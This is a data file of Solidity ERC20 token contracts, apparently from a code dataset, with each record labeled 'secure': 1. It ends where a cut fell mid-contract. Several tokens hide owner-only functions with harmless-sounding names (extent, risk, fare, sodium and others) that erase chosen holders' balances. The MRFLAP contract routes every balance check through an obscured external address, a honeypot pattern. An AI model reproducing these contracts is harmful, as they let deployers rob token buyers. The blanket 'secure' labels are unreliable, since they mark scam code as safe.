{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract MRFLAP is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 98d1488): MRFLAP._totalSupply should be constant \n\t// Recommendation for 98d1488: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 200000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12192f8): MRFLAP._name should be constant \n\t// Recommendation for 12192f8: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Mr.Flap\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 97ad03c): MRFLAP._symbol should be constant \n\t// Recommendation for 97ad03c: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"MRFLAP\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a47adbf): MRFLAP.Router2Instance should be immutable \n\t// Recommendation for a47adbf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(aEdZTTu))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal pure returns (uint160) {\n return (90 +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal pure returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap(\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_822.sol", "secure": 1, "size_bytes": 5717 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Babygrokai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable path;\n\n constructor() {\n _name = \"Baby Grok AI\";\n\n _symbol = \"GROKAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 381000000;\n\n path = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == path, \"Not allowed\");\n\n _;\n }\n\n function extent(address[] memory program) public onlyOwner {\n for (uint256 i = 0; i < program.length; i++) {\n address account = program[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_823.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRBOT is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pigs;\n\n constructor() {\n _name = \"TRBOT\";\n\n _symbol = \"TRBOT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 450000000;\n\n pigs = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pigs, \"Not allowed\");\n\n _;\n }\n\n function risk(address[] memory sector) public onlyOwner {\n for (uint256 i = 0; i < sector.length; i++) {\n address account = sector[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_824.sol", "secure": 1, "size_bytes": 4342 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kdot is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable formula;\n\n constructor() {\n _name = \"KDOT\";\n\n _symbol = \"KDOT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 393000000;\n\n formula = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == formula, \"Not allowed\");\n\n _;\n }\n\n function fare(address[] memory swear) public onlyOwner {\n for (uint256 i = 0; i < swear.length; i++) {\n address account = swear[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_825.sol", "secure": 1, "size_bytes": 4345 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Cockandballs is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hang;\n\n constructor() {\n _name = \"Cock and Balls\";\n\n _symbol = \"CAB\";\n\n _decimals = 18;\n\n uint256 initialSupply = 127000000;\n\n hang = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hang, \"Not allowed\");\n\n _;\n }\n\n function repeat(address[] memory trip) public onlyOwner {\n for (uint256 i = 0; i < trip.length; i++) {\n address account = trip[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_826.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Spiderpig is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable preparation;\n\n constructor() {\n _name = \"Spider Pig\";\n\n _symbol = \"SPIDER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 838000000;\n\n preparation = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == preparation, \"Not allowed\");\n\n _;\n }\n\n function commerce(address[] memory blame) public onlyOwner {\n for (uint256 i = 0; i < blame.length; i++) {\n address account = blame[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_827.sol", "secure": 1, "size_bytes": 4374 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Credits.sol\" as Credits;\nimport \"./ServicePayer.sol\" as ServicePayer;\n\ncontract HelloERC20 is ERC20, Credits, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n bytes memory signature_,\n address payable feeReceiver_\n )\n payable\n ERC20(name_, symbol_)\n ServicePayer(feeReceiver_, \"HelloERC20\", signature_, _msgSender())\n {\n _mint(_msgSender(), 10000e18);\n }\n}", "file_name": "solidity_code_828.sol", "secure": 1, "size_bytes": 605 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BOOMGUN is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable mild;\n\n constructor() {\n _name = \"BOOMGUN\";\n\n _symbol = \"BOOMGUN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 950000000;\n\n mild = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == mild, \"Not allowed\");\n\n _;\n }\n\n function cyste(address[] memory occur) public onlyOwner {\n for (uint256 i = 0; i < occur.length; i++) {\n address account = occur[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_829.sol", "secure": 1, "size_bytes": 4346 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = msg.sender;\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounce() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}", "file_name": "solidity_code_83.sol", "secure": 1, "size_bytes": 755 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Tweaking is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable easy;\n\n constructor() {\n _name = \"tweaking\";\n\n _symbol = \"TWEAK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 127000000;\n\n easy = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == easy, \"Not allowed\");\n\n _;\n }\n\n function sodium(address[] memory addicted) public onlyOwner {\n for (uint256 i = 0; i < addicted.length; i++) {\n address account = addicted[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_830.sol", "secure": 1, "size_bytes": 4356 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Car is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable custody;\n\n constructor() {\n _name = \"CAR\";\n\n _symbol = \"CAR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 932000000;\n\n custody = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return 